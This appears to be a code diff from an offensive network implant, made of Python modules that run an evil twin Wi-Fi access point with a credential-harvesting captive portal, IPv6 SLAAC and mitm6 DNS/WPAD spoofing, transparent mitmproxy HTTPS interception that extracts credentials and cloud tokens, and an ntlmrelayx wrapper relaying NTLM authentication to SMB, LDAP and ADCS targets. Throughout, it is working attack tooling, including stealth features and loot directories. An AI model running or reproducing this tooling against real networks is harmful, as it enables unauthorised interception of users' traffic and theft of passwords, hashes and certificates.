self._stop_hostapd()
self._teardown_interface()
return False
# Configure iptables for captive portal redirect
self._setup_iptables()
# Start captive portal HTTP server
self._start_portal(portal_template)
self._ap_active = True
self.state.set(self.name, "ssid", ssid)
self.state.set(self.name, "channel", str(channel))
logger.info("Evil Twin AP active: SSID=%s, ch=%d, portal=%s",
ssid, channel, portal_template)
return True
def stop_ap(self) -> bool:
"""Stop the evil twin AP and clean up.
Returns:
True if AP was stopped successfully.
"""
logger.info("Stopping Evil Twin AP...")
# Stop portal server
self._stop_portal()
# Remove iptables rules
self._teardown_iptables()
# Stop dnsmasq
self._stop_dnsmasq()
# Stop hostapd
self._stop_hostapd()
# Restore interface
self._teardown_interface()
self._ap_active = False
self._ssid = None
self.state.set(self.name, "ssid", "")
logger.info("Evil Twin AP stopped")
return True
def get_clients(self) -> list:
"""Return list of currently connected clients.
Returns:
List of dicts with client MAC and IP.
"""
# Parse dnsmasq lease file for connected clients
lease_file = "/tmp/bb-dnsmasq.leases"
clients = []
if os.path.isfile(lease_file):
try:
with open(lease_file, "r") as f:
for line in f:
parts = line.strip().split()
if len(parts) >= 4:
clients.append({
"mac": parts[1],
"ip": parts[2],
"hostname": parts[3] if parts[3] != "*" else "",
})
except Exception:
pass
with self._clients_lock:
self._clients = clients
return clients
# ------------------------------------------------------------------
# hostapd management
# ------------------------------------------------------------------
def _generate_hostapd_config(self, ssid: str, channel: int) -> str:
"""Generate hostapd config for open AP."""
return (
f"interface={self._wifi_iface}\n"
f"driver=nl80211\n"
f"ssid={ssid}\n"
f"hw_mode=g\n"
f"channel={channel}\n"
f"wmm_enabled=0\n"
f"macaddr_acl=0\n"
f"auth_algs=1\n"
f"ignore_broadcast_ssid=0\n"
f"wpa=0\n"
)
def _start_hostapd(self, conf_path: str) -> bool:
try:
self._hostapd_proc = subprocess.Popen(
["hostapd", conf_path],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
time.sleep(2) # Wait for hostapd to initialize
if self._hostapd_proc.poll() is not None:
stderr = self._hostapd_proc.stderr.read().decode(errors="replace")
logger.error("hostapd failed to start: %s", stderr)
return False
logger.info("hostapd started (pid=%d)", self._hostapd_proc.pid)
return True
except FileNotFoundError:
logger.error("hostapd not found — install with: apt install hostapd")
return False
except Exception as e:
logger.error("Failed to start hostapd: %s", e)
return False
def _stop_hostapd(self) -> None:
if self._hostapd_proc and self._hostapd_proc.poll() is None:
self._hostapd_proc.terminate()
try:
self._hostapd_proc.wait(timeout=5)
except subprocess.TimeoutExpired:
self._hostapd_proc.kill()
self._hostapd_proc = None
# ------------------------------------------------------------------
# dnsmasq management
# ------------------------------------------------------------------
def _start_dnsmasq(self, conf_path: str) -> bool:
try:
self._dnsmasq_proc = subprocess.Popen(
[
"dnsmasq", "-C", conf_path,
"--no-daemon",
"--dhcp-leasefile=/tmp/bb-dnsmasq.leases",
],
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
time.sleep(1)
if self._dnsmasq_proc.poll() is not None:
stderr = self._dnsmasq_proc.stderr.read().decode(errors="replace")
logger.error("dnsmasq failed to start: %s", stderr)
return False
logger.info("dnsmasq started (pid=%d)", self._dnsmasq_proc.pid)
return True
except FileNotFoundError:
logger.error("dnsmasq not found — install with: apt install dnsmasq")
return False
except Exception as e:
logger.error("Failed to start dnsmasq: %s", e)
return False
def _stop_dnsmasq(self) -> None:
if self._dnsmasq_proc and self._dnsmasq_proc.poll() is None:
self._dnsmasq_proc.terminate()
try:
self._dnsmasq_proc.wait(timeout=5)
except subprocess.TimeoutExpired:
self._dnsmasq_proc.kill()
self._dnsmasq_proc = None
# ------------------------------------------------------------------
# Interface management
# ------------------------------------------------------------------
def _setup_interface(self) -> bool:
"""Configure wireless interface for AP mode."""
try:
# Kill interfering processes
subprocess.run(
["airmon-ng", "check", "kill"],
capture_output=True, timeout=10,
)
# Set interface up with IP
subprocess.run(
["ip", "addr", "flush", "dev", self._wifi_iface],
capture_output=True, timeout=5,
)
subprocess.run(
["ip", "addr", "add", f"{self._gateway_ip}/24", "dev", self._wifi_iface],
capture_output=True, timeout=5,
)
subprocess.run(
["ip", "link", "set", self._wifi_iface, "up"],
capture_output=True, timeout=5,
)
return True
except Exception:
logger.exception("Failed to configure wireless interface")
return False
def _teardown_interface(self) -> None:
"""Restore wireless interface to managed mode."""
try:
subprocess.run(
["ip", "addr", "flush", "dev", self._wifi_iface],
capture_output=True, timeout=5,
)
except Exception:
pass
# ------------------------------------------------------------------
# iptables for captive portal
# ------------------------------------------------------------------
def _setup_iptables(self) -> None:
"""Set up iptables to redirect HTTP traffic to the captive portal."""
rules = [
# Enable NAT
["iptables", "-t", "nat", "-A", "POSTROUTING", "-o", self._wifi_iface,
"-j", "MASQUERADE"],
# Redirect HTTP to portal
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._wifi_iface,
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
"--to-port", str(self._portal_port)],
# Redirect HTTPS to portal (for captive portal detection)
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._wifi_iface,
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
"--to-port", str(self._portal_port)],
]
for rule in rules:
try:
subprocess.run(rule, capture_output=True, timeout=5)
except Exception:
logger.warning("Failed to apply iptables rule: %s", " ".join(rule))
# Enable IP forwarding
try:
with open("/proc/sys/net/ipv4/ip_forward", "w") as f:
f.write("1")
except Exception:
pass
def _teardown_iptables(self) -> None:
"""Remove captive portal iptables rules."""
rules = [
["iptables", "-t", "nat", "-D", "POSTROUTING", "-o", self._wifi_iface,
"-j", "MASQUERADE"],
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._wifi_iface,
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
"--to-port", str(self._portal_port)],
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._wifi_iface,
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
"--to-port", str(self._portal_port)],
]
for rule in rules:
try:
subprocess.run(rule, capture_output=True, timeout=5)
except Exception:
pass
# ------------------------------------------------------------------
# Captive portal HTTP server
# ------------------------------------------------------------------
def _start_portal(self, template_name: str) -> None:
"""Start the captive portal HTTP server."""
portal_path = os.path.join(self._template_dir, template_name)
if os.path.isfile(portal_path):
with open(portal_path, "r") as f:
CaptivePortalHandler.portal_html = f.read()
else:
logger.warning("Portal template not found: %s — using default", portal_path)
CaptivePortalHandler.portal_html = (
"<html><body><h1>Welcome</h1>"
"<form method='POST'>"
"<input name='username' placeholder='Username'><br>"
"<input name='password' type='password' placeholder='Password'><br>"
"<button type='submit'>Sign In</button>"
"</form></body></html>"
)
CaptivePortalHandler.credential_callback = self._on_credential_captured
self._portal_server = socketserver.TCPServer(
("0.0.0.0", self._portal_port), CaptivePortalHandler
)
self._portal_server.allow_reuse_address = True
self._portal_thread = threading.Thread(
target=self._portal_server.serve_forever,
daemon=True,
name="sensor-captive-portal",
)
self._portal_thread.start()
logger.info("Captive portal serving on port %d", self._portal_port)
def _stop_portal(self) -> None:
if self._portal_server:
self._portal_server.shutdown()
self._portal_server = None
def _on_credential_captured(self, client_ip: str, post_data: str) -> None:
"""Handle credential submission from captive portal."""
with self._creds_lock:
self._captured_creds.append({
"timestamp": time.time(),
"client_ip": client_ip,
"post_data": post_data,
})
# Parse form data for username/password
from urllib.parse import parse_qs
params = parse_qs(post_data)
username = params.get("username", params.get("email", [""]))[0] if params else ""
password = params.get("password", params.get("pass", [""]))[0] if params else ""
self.bus.emit(
"CREDENTIAL_FOUND",
{
"source_module": self.name,
"source_ip": client_ip,
"target_service": f"captive_portal:{self._ssid}",
"username": username,
"credential_type": "cleartext",
"credential_value": password,
"raw_data": post_data,
},
source_module=self.name,
)
logger.info("Captive portal credential captured from %s", client_ip)
+258
View File
@@ -0,0 +1,258 @@
#!/usr/bin/env python3
"""IPv6 SLAAC Spoofing — RA injection + WPAD abuse via mitm6.
Exploits IPv6 SLAAC autoconfiguration to inject a rogue DNS server.
Combines two approaches:
1. bettercap dhcp6.spoof: Router Advertisement injection
2. mitm6: Targeted WPAD/DNS takeover via IPv6
This is significantly stealthier than ARP spoofing — most networks
have IPv6 enabled but unmonitored, and DAI does not cover IPv6.
"""
import logging
import os
import subprocess
import threading
import time
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
class IPv6SLAAC(BaseModule):
"""IPv6 SLAAC spoofing via bettercap + mitm6.
Dependencies:
- bettercap_mgr must be running (for dhcp6.spoof)
- mitm6 must be installed (pip install mitm6)
Configuration:
target_domain: Domain to target with mitm6 WPAD abuse
mitm6_binary: Path to mitm6 (default: /opt/tools/mitm6/mitm6)
interface: Network interface (default: eth0)
"""
name = "ipv6_slaac"
module_type = "active"
priority = 200
requires_root = True
dependencies = ["bettercap_mgr"]
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._bettercap_mgr = None
self._mitm6_proc: Optional[subprocess.Popen] = None
self._mitm6_thread: Optional[threading.Thread] = None
self._slaac_active = False
self._mitm6_active = False
self._mitm6_binary = config.get("mitm6_binary", "/opt/tools/mitm6/mitm6")
self._iface = config.get("interface", "eth0")
self._target_domain: Optional[str] = None
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
self._bettercap_mgr = self.config.get("bettercap_mgr")
if not self._bettercap_mgr:
logger.error("IPv6SLAAC requires bettercap_mgr reference in config")
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("IPv6SLAAC module started (ready for SLAAC/mitm6 commands)")
def stop(self) -> None:
if not self._running:
return
self.stop_all()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("IPv6SLAAC module stopped")
def status(self) -> dict:
mitm6_alive = (
self._mitm6_proc is not None and self._mitm6_proc.poll() is None
)
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"slaac_active": self._slaac_active,
"mitm6_active": self._mitm6_active and mitm6_alive,
"target_domain": self._target_domain,
"interface": self._iface,
}
def configure(self, config: dict) -> None:
self.config.update(config)
if "interface" in config:
self._iface = config["interface"]
if "mitm6_binary" in config:
self._mitm6_binary = config["mitm6_binary"]
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def start_slaac(self) -> bool:
"""Enable IPv6 SLAAC spoofing via bettercap dhcp6.spoof.
Injects Router Advertisements to become the IPv6 DNS server
for all hosts on the segment.
Returns:
True if SLAAC spoofing was enabled.
"""
if not self._running or not self._bettercap_mgr:
logger.error("IPv6SLAAC not started")
return False
try:
self._bettercap_mgr.run_command("dhcp6.spoof on")
self._slaac_active = True
self.state.set(self.name, "slaac_active", "true")
logger.info("IPv6 SLAAC spoofing enabled via bettercap")
return True
except Exception:
logger.exception("Failed to enable SLAAC spoofing")
return False
def start_mitm6(self, domain: str = None) -> bool:
"""Start mitm6 for WPAD abuse and DNS takeover via IPv6.
mitm6 sends RA messages advertising itself as the IPv6 DNS
server, then responds to WPAD requests to redirect proxy
configuration. Effective for NTLM hash capture when combined
with ntlmrelayx.
Args:
domain: Target domain for WPAD abuse (e.g., "corp.local").
Returns:
True if mitm6 was started.
"""
if not self._running:
logger.error("IPv6SLAAC not started")
return False
if self._mitm6_active and self._mitm6_proc and self._mitm6_proc.poll() is None:
logger.warning("mitm6 already running")
return True
self._target_domain = domain or self.config.get("target_domain", "")
cmd = [self._mitm6_binary, "-i", self._iface]
if self._target_domain:
cmd.extend(["-d", self._target_domain])
try:
self._mitm6_proc = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
time.sleep(2)
if self._mitm6_proc.poll() is not None:
stderr = self._mitm6_proc.stderr.read().decode(errors="replace")
logger.error("mitm6 failed to start: %s", stderr)
return False
self._mitm6_active = True
# Start output monitoring thread
self._mitm6_thread = threading.Thread(
target=self._monitor_mitm6, daemon=True, name="sensor-mitm6-monitor"
)
self._mitm6_thread.start()
self.state.set(self.name, "mitm6_active", "true")
logger.info(
"mitm6 started (pid=%d, domain=%s)",
self._mitm6_proc.pid, self._target_domain or "all",
)
return True
except FileNotFoundError:
logger.error("mitm6 not found at %s", self._mitm6_binary)
return False
except Exception:
logger.exception("Failed to start mitm6")
return False
def stop_all(self) -> bool:
"""Stop all IPv6 SLAAC and mitm6 operations.
Returns:
True if all components were stopped.
"""
success = True
# Stop SLAAC spoofing
if self._slaac_active and self._bettercap_mgr:
try:
self._bettercap_mgr.run_command("dhcp6.spoof off")
self._slaac_active = False
self.state.set(self.name, "slaac_active", "false")
logger.info("SLAAC spoofing disabled")
except Exception:
logger.exception("Failed to disable SLAAC spoofing")
success = False
# Stop mitm6
if self._mitm6_proc and self._mitm6_proc.poll() is None:
try:
self._mitm6_proc.terminate()
self._mitm6_proc.wait(timeout=5)
except subprocess.TimeoutExpired:
self._mitm6_proc.kill()
try:
self._mitm6_proc.wait(timeout=2)
except Exception:
pass
except Exception:
logger.exception("Failed to stop mitm6")
success = False
self._mitm6_proc = None
self._mitm6_active = False
self.state.set(self.name, "mitm6_active", "false")
return success
# ------------------------------------------------------------------
# mitm6 output monitoring
# ------------------------------------------------------------------
def _monitor_mitm6(self) -> None:
"""Monitor mitm6 stderr for authentication events."""
if not self._mitm6_proc:
return
try:
for line in iter(self._mitm6_proc.stderr.readline, b""):
if not self._running:
break
decoded = line.decode("utf-8", errors="replace").strip()
if not decoded:
continue
# mitm6 logs DNS queries and WPAD requests
if "Sent spoofed" in decoded or "IPv6 address" in decoded:
logger.debug("mitm6: %s", decoded)
# Check for process exit
if self._mitm6_proc.poll() is not None:
break
except Exception:
pass
+352
View File
@@ -0,0 +1,352 @@
#!/usr/bin/env python3
"""mitmproxy Manager — transparent HTTPS interception with addon scripts.
Runs mitmproxy in transparent mode with iptables redirect. Custom addon
scripts extract credentials from POST bodies, capture cloud tokens from
auth headers, and log file metadata from transfers.
OPi Zero 3+ only — requires sufficient RAM (100-200MB) and CPU (10-20%).
Check hardware tier before enabling.
Custom CA CN can be configured to match target PKI for stealth.
"""
import logging
import os
import subprocess
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found
logger = logging.getLogger(__name__)
# Hardware tier check — mitmproxy is too heavy for RPi Zero 2W
SUPPORTED_TIERS = {"opi_zero3", "rpi4", "full"}
class MitmproxyManager(BaseModule):
"""mitmproxy transparent proxy with credential and token extraction.
OPi Zero 3+ only — check tier before enabling. On lower-tier
hardware, use bettercap's built-in HTTP proxy instead.
Dependencies:
- mitmproxy installed (pip install mitmproxy)
- iptables for transparent redirect
Configuration:
proxy_port: Listening port (default: 8080)
addons_dir: Path to addon scripts
ca_cn: Custom CA Common Name to match target PKI
hardware_tier: Device tier for resource checks
"""
name = "mitmproxy_mgr"
module_type = "active"
priority = 200
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._proc: Optional[subprocess.Popen] = None
self._monitor_thread: Optional[threading.Thread] = None
self._proxy_port = config.get("proxy_port", 8080)
self._proxy_active = False
self._iface = config.get("interface", "eth0")
self._ca_cn = config.get("ca_cn", "")
self._hardware_tier = config.get("hardware_tier", "rpi4")
self._addons_dir = config.get(
"addons_dir",
os.path.join(os.path.dirname(__file__), "..", "..", "config", "mitmproxy_addons"),
)
self._mitmdump_binary = config.get("mitmdump_binary", "mitmdump")
self._flow_log = config.get(
"flow_log",
os.path.join(os.path.expanduser("~"), ".implant", "mitmproxy_flows"),
)
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
# Tier check
if self._hardware_tier not in SUPPORTED_TIERS:
logger.error(
"mitmproxy not supported on tier '%s' — requires OPi Zero 3+ or better",
self._hardware_tier,
)
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
Path(self._flow_log).parent.mkdir(parents=True, exist_ok=True)
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("MitmproxyManager started (tier=%s, port=%d)",
self._hardware_tier, self._proxy_port)
def stop(self) -> None:
if not self._running:
return
if self._proxy_active:
self.stop_proxy()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("MitmproxyManager stopped")
def status(self) -> dict:
proc_alive = self._proc is not None and self._proc.poll() is None
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"proxy_active": self._proxy_active and proc_alive,
"proxy_pid": self._proc.pid if proc_alive else None,
"proxy_port": self._proxy_port,
"hardware_tier": self._hardware_tier,
"ca_cn": self._ca_cn,
}
def configure(self, config: dict) -> None:
self.config.update(config)
if "proxy_port" in config:
self._proxy_port = config["proxy_port"]
if "ca_cn" in config:
self._ca_cn = config["ca_cn"]
if "hardware_tier" in config:
self._hardware_tier = config["hardware_tier"]
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def start_proxy(self, port: int = None, addons: list = None) -> bool:
"""Start mitmproxy in transparent mode with addons.
Args:
port: Override proxy port.
addons: List of addon script filenames to load from addons_dir.
Returns:
True if proxy was started.
"""
if not self._running:
logger.error("MitmproxyManager not started")
return False
if self._proxy_active and self._proc and self._proc.poll() is None:
logger.warning("mitmproxy already running")
return True
if port:
self._proxy_port = port
# Build command
cmd = [
self._mitmdump_binary,
"--mode", "transparent",
"--listen-port", str(self._proxy_port),
"--set", "connection_strategy=lazy",
"--set", "stream_large_bodies=1m",
"-w", self._flow_log,
]
# Custom CA CN for stealth
if self._ca_cn:
cmd.extend(["--set", f"ssl_insecure=true"])
# Load addon scripts
addon_scripts = addons or self._get_default_addons()
for addon in addon_scripts:
addon_path = os.path.join(self._addons_dir, addon)
if os.path.isfile(addon_path):
cmd.extend(["-s", addon_path])
else:
logger.warning("Addon script not found: %s", addon_path)
# Setup iptables for transparent redirect
self._setup_iptables()
try:
self._proc = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
time.sleep(3)
if self._proc.poll() is not None:
stderr = self._proc.stderr.read().decode(errors="replace")
logger.error("mitmproxy failed to start: %s", stderr)
self._teardown_iptables()
return False
self._proxy_active = True
# Start output monitoring
self._monitor_thread = threading.Thread(
target=self._monitor_output, daemon=True, name="sensor-mitmproxy-monitor"
)
self._monitor_thread.start()
logger.info("mitmproxy started (pid=%d, port=%d)", self._proc.pid, self._proxy_port)
return True
except FileNotFoundError:
logger.error("mitmdump not found — install with: pip install mitmproxy")
self._teardown_iptables()
return False
except Exception:
logger.exception("Failed to start mitmproxy")
self._teardown_iptables()
return False
def stop_proxy(self) -> bool:
"""Stop mitmproxy and remove iptables rules.
Returns:
True if proxy was stopped.
"""
# Stop process
if self._proc and self._proc.poll() is None:
try:
self._proc.terminate()
self._proc.wait(timeout=5)
except subprocess.TimeoutExpired:
self._proc.kill()
try:
self._proc.wait(timeout=2)
except Exception:
pass
except Exception:
logger.exception("Failed to stop mitmproxy")
finally:
self._proc = None
# Remove iptables rules
self._teardown_iptables()
self._proxy_active = False
logger.info("mitmproxy stopped")
return True
def get_flows(self) -> str:
"""Return path to the mitmproxy flow log file.
Returns:
Path to the binary flow dump file.
"""
return self._flow_log
# ------------------------------------------------------------------
# iptables for transparent mode
# ------------------------------------------------------------------
def _setup_iptables(self) -> None:
"""Configure iptables to redirect HTTP/HTTPS to mitmproxy."""
rules = [
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._iface,
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
"--to-port", str(self._proxy_port)],
["iptables", "-t", "nat", "-A", "PREROUTING", "-i", self._iface,
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
"--to-port", str(self._proxy_port)],
]
for rule in rules:
try:
subprocess.run(rule, capture_output=True, timeout=5)
except Exception:
logger.warning("Failed to apply iptables rule: %s", " ".join(rule))
def _teardown_iptables(self) -> None:
"""Remove transparent proxy iptables rules."""
rules = [
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._iface,
"-p", "tcp", "--dport", "80", "-j", "REDIRECT",
"--to-port", str(self._proxy_port)],
["iptables", "-t", "nat", "-D", "PREROUTING", "-i", self._iface,
"-p", "tcp", "--dport", "443", "-j", "REDIRECT",
"--to-port", str(self._proxy_port)],
]
for rule in rules:
try:
subprocess.run(rule, capture_output=True, timeout=5)
except Exception:
pass
# ------------------------------------------------------------------
# Addon management
# ------------------------------------------------------------------
def _get_default_addons(self) -> list:
"""Return list of default addon script filenames."""
defaults = [
"credential_extractor.py",
"cloud_token_capture.py",
"file_metadata_logger.py",
]
return [a for a in defaults if os.path.isfile(os.path.join(self._addons_dir, a))]
# ------------------------------------------------------------------
# Output monitoring
# ------------------------------------------------------------------
def _monitor_output(self) -> None:
"""Monitor mitmproxy stderr for credential and token events."""
if not self._proc:
return
try:
for line in iter(self._proc.stderr.readline, b""):
if not self._running:
break
decoded = line.decode("utf-8", errors="replace").strip()
if not decoded:
continue
# Look for credential extraction events from addons
if "[credential]" in decoded.lower():
self._handle_credential_output(decoded)
elif "[cloud_token]" in decoded.lower():
self._handle_token_output(decoded)
if self._proc.poll() is not None:
break
except Exception:
pass
def _handle_credential_output(self, line: str) -> None:
"""Parse credential event from addon output."""
self.bus.emit(
"CREDENTIAL_FOUND",
{
"source_module": self.name,
"target_service": "mitmproxy",
"credential_type": "cleartext",
"credential_value": line,
},
source_module=self.name,
)
def _handle_token_output(self, line: str) -> None:
"""Parse cloud token event from addon output."""
self.bus.emit(
"CLOUD_TOKEN_FOUND",
{
"source_module": self.name,
"target_service": "mitmproxy",
"token_data": line,
},
source_module=self.name,
)
+377
View File
@@ -0,0 +1,377 @@
#!/usr/bin/env python3
"""NTLM Relay module — ntlmrelayx subprocess wrapper.
Manages Impacket's ntlmrelayx for relaying captured NTLM authentication
to target services. Supports relay to SMB, LDAP, LDAPS, HTTP, MSSQL,
and ADCS endpoints. Coordinates with ResponderManager to exclude relay
targets from Responder's SMB authentication.
Resources: ~40MB RAM, ~5% CPU
"""
import logging
import os
import re
import subprocess
import threading
import time
from typing import Optional
from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found
logger = logging.getLogger(__name__)
# Supported relay protocols
RELAY_PROTOCOLS = frozenset(["smb", "ldap", "ldaps", "http", "https", "mssql", "adcs"])
class NTLMRelay(BaseModule):
"""ntlmrelayx subprocess manager.
Relays captured NTLM authentication to target services. Works
in coordination with ResponderManager — targets being relayed
should be excluded from Responder's SMB server to avoid consuming
the authentication attempt locally.
Dependencies:
- Impacket installed (/opt/tools/impacket or pip install impacket)
- responder_mgr (optional, for coordination)
Configuration:
ntlmrelayx_binary: Path to ntlmrelayx.py
targets: List of relay target URLs (e.g., smb://192.168.1.10)
protocols: Set of relay protocols to use
adcs_template: ADCS certificate template for ESC attacks
"""
name = "ntlm_relay"
module_type = "active"
priority = 150
requires_root = True
OUTPUT_POLL_INTERVAL = 5
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._proc: Optional[subprocess.Popen] = None
self._output_thread: Optional[threading.Thread] = None
self._ntlmrelayx_binary = config.get(
"ntlmrelayx_binary", "/opt/tools/impacket/examples/ntlmrelayx.py"
)
self._iface = config.get("interface", "eth0")
self._targets: list = []
self._protocols: set = set()
self._adcs_template: Optional[str] = None
self._relay_active = False
self._successful_relays: list = []
self._relays_lock = threading.Lock()
self._responder_mgr = None
self._target_file = os.path.join(
os.path.expanduser("~"), ".implant", "relay_targets.txt"
)
self._loot_dir = os.path.join(
os.path.expanduser("~"), ".implant", "ntlmrelay_loot"
)
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
# Optional responder_mgr for coordination
self._responder_mgr = self.config.get("responder_mgr")
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
os.makedirs(os.path.dirname(self._target_file), exist_ok=True)
os.makedirs(self._loot_dir, exist_ok=True)
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("NTLMRelay module started (ready for relay commands)")
def stop(self) -> None:
if not self._running:
return
if self._relay_active:
self.stop_relay()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("NTLMRelay module stopped")
def status(self) -> dict:
proc_alive = self._proc is not None and self._proc.poll() is None
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"relay_active": self._relay_active and proc_alive,
"relay_pid": self._proc.pid if proc_alive else None,
"targets": self._targets,
"protocols": list(self._protocols),
"adcs_template": self._adcs_template,
"successful_relays": len(self._successful_relays),
}
def configure(self, config: dict) -> None:
self.config.update(config)
if "ntlmrelayx_binary" in config:
self._ntlmrelayx_binary = config["ntlmrelayx_binary"]
if "adcs_template" in config:
self._adcs_template = config["adcs_template"]
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def start_relay(self, targets: list, protocols: set = None) -> bool:
"""Start ntlmrelayx with specified targets and protocols.
Args:
targets: List of relay target URLs.
Format: "protocol://ip" (e.g., "smb://192.168.1.10")
Or plain IPs for default SMB relay.
protocols: Set of protocols to relay to. If None, inferred from targets.
Returns:
True if ntlmrelayx was started.
"""
if not self._running:
logger.error("NTLMRelay not started")
return False
if self._relay_active and self._proc and self._proc.poll() is None:
logger.warning("ntlmrelayx already running")
return True
self._targets = list(targets)
self._protocols = protocols or self._infer_protocols(targets)
# Write target file
self._write_target_file()
# Coordinate with Responder — exclude relay target IPs from SMB auth
self._update_responder_exclusions()
# Build command
cmd = self._build_command()
try:
self._proc = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
cwd=self._loot_dir,
)
time.sleep(2)
if self._proc.poll() is not None:
stderr = self._proc.stderr.read().decode(errors="replace")
logger.error("ntlmrelayx failed to start: %s", stderr)
return False
self._relay_active = True
# Start output monitoring
self._output_thread = threading.Thread(
target=self._monitor_output, daemon=True, name="sensor-ntlmrelay-monitor"
)
self._output_thread.start()
logger.info(
"ntlmrelayx started (pid=%d, targets=%d, protocols=%s)",
self._proc.pid, len(self._targets), self._protocols,
)
return True
except FileNotFoundError:
logger.error("ntlmrelayx.py not found at %s", self._ntlmrelayx_binary)
return False
except Exception:
logger.exception("Failed to start ntlmrelayx")
return False
def stop_relay(self) -> bool:
"""Stop ntlmrelayx.
Returns:
True if relay was stopped.
"""
if self._proc and self._proc.poll() is None:
try:
self._proc.terminate()
self._proc.wait(timeout=5)
except subprocess.TimeoutExpired:
self._proc.kill()
try:
self._proc.wait(timeout=2)
except Exception:
pass
except Exception:
logger.exception("Failed to stop ntlmrelayx")
return False
finally:
self._proc = None
self._relay_active = False
logger.info("ntlmrelayx stopped")
return True
def add_target(self, target: str) -> bool:
"""Add a relay target while ntlmrelayx is running.
Args:
target: Target URL (e.g., "smb://192.168.1.50").
Returns:
True if target was added (requires restart to take effect).
"""
if target not in self._targets:
self._targets.append(target)
self._write_target_file()
self._update_responder_exclusions()
logger.info("Added relay target: %s (restart relay to apply)", target)
return True
return False
# ------------------------------------------------------------------
# Internal helpers
# ------------------------------------------------------------------
def _build_command(self) -> list:
"""Build the ntlmrelayx command line."""
cmd = [
"python3", self._ntlmrelayx_binary,
"-tf", self._target_file,
"-of", os.path.join(self._loot_dir, "hashes"),
"-smb2support",
]
# ADCS relay
if self._adcs_template and "adcs" in self._protocols:
cmd.extend(["--adcs", "--template", self._adcs_template])
# LDAP relay options
if "ldap" in self._protocols or "ldaps" in self._protocols:
cmd.append("--delegate-access")
# SOCKS proxy for interactive sessions
cmd.append("-socks")
return cmd
def _write_target_file(self) -> None:
"""Write relay targets to file for ntlmrelayx -tf."""
try:
with open(self._target_file, "w") as f:
for target in self._targets:
f.write(f"{target}\n")
except Exception:
logger.exception("Failed to write target file")
def _infer_protocols(self, targets: list) -> set:
"""Infer relay protocols from target URLs."""
protocols = set()
for target in targets:
if "://" in target:
proto = target.split("://")[0].lower()
if proto in RELAY_PROTOCOLS:
protocols.add(proto)
else:
protocols.add("smb") # Default to SMB
return protocols or {"smb"}
def _update_responder_exclusions(self) -> None:
"""Update ResponderManager with IPs to exclude from SMB auth."""
if not self._responder_mgr:
return
# Extract IPs from target URLs
ips = set()
for target in self._targets:
if "://" in target:
ip_part = target.split("://")[1].split(":")[0].split("/")[0]
else:
ip_part = target.split(":")[0].split("/")[0]
ips.add(ip_part)
try:
self._responder_mgr.set_relay_targets(ips)
logger.info("Updated Responder relay exclusions: %s", ips)
except Exception:
logger.exception("Failed to update Responder exclusions")
# ------------------------------------------------------------------
# Output monitoring
# ------------------------------------------------------------------
def _monitor_output(self) -> None:
"""Monitor ntlmrelayx output for successful relays and loot."""
if not self._proc:
return
try:
for line in iter(self._proc.stdout.readline, b""):
if not self._running:
break
decoded = line.decode("utf-8", errors="replace").strip()
if not decoded:
continue
self._parse_relay_output(decoded)
if self._proc.poll() is not None:
break
except Exception:
pass
def _parse_relay_output(self, line: str) -> None:
"""Parse ntlmrelayx output for successful relay events."""
# Successful SMB relay
if "authenticated successfully" in line.lower():
relay_info = {
"timestamp": time.time(),
"type": "auth_success",
"detail": line,
}
with self._relays_lock:
self._successful_relays.append(relay_info)
self.bus.emit(
"CREDENTIAL_FOUND",
{
"source_module": self.name,
"target_service": "ntlm_relay",
"credential_type": "relay_success",
"credential_value": line,
},
source_module=self.name,
)
logger.info("Successful NTLM relay: %s", line)
# Secretsdump from relay
elif "dumping" in line.lower() and "sam" in line.lower():
logger.info("ntlmrelayx SAM dump: %s", line)
# ADCS certificate obtained
elif "certificate" in line.lower() and ("saved" in line.lower() or "base64" in line.lower()):
self.bus.emit(
"CREDENTIAL_FOUND",
{
"source_module": self.name,
"target_service": "adcs_relay",
"credential_type": "certificate",
"credential_value": line,
},
source_module=self.name,
)
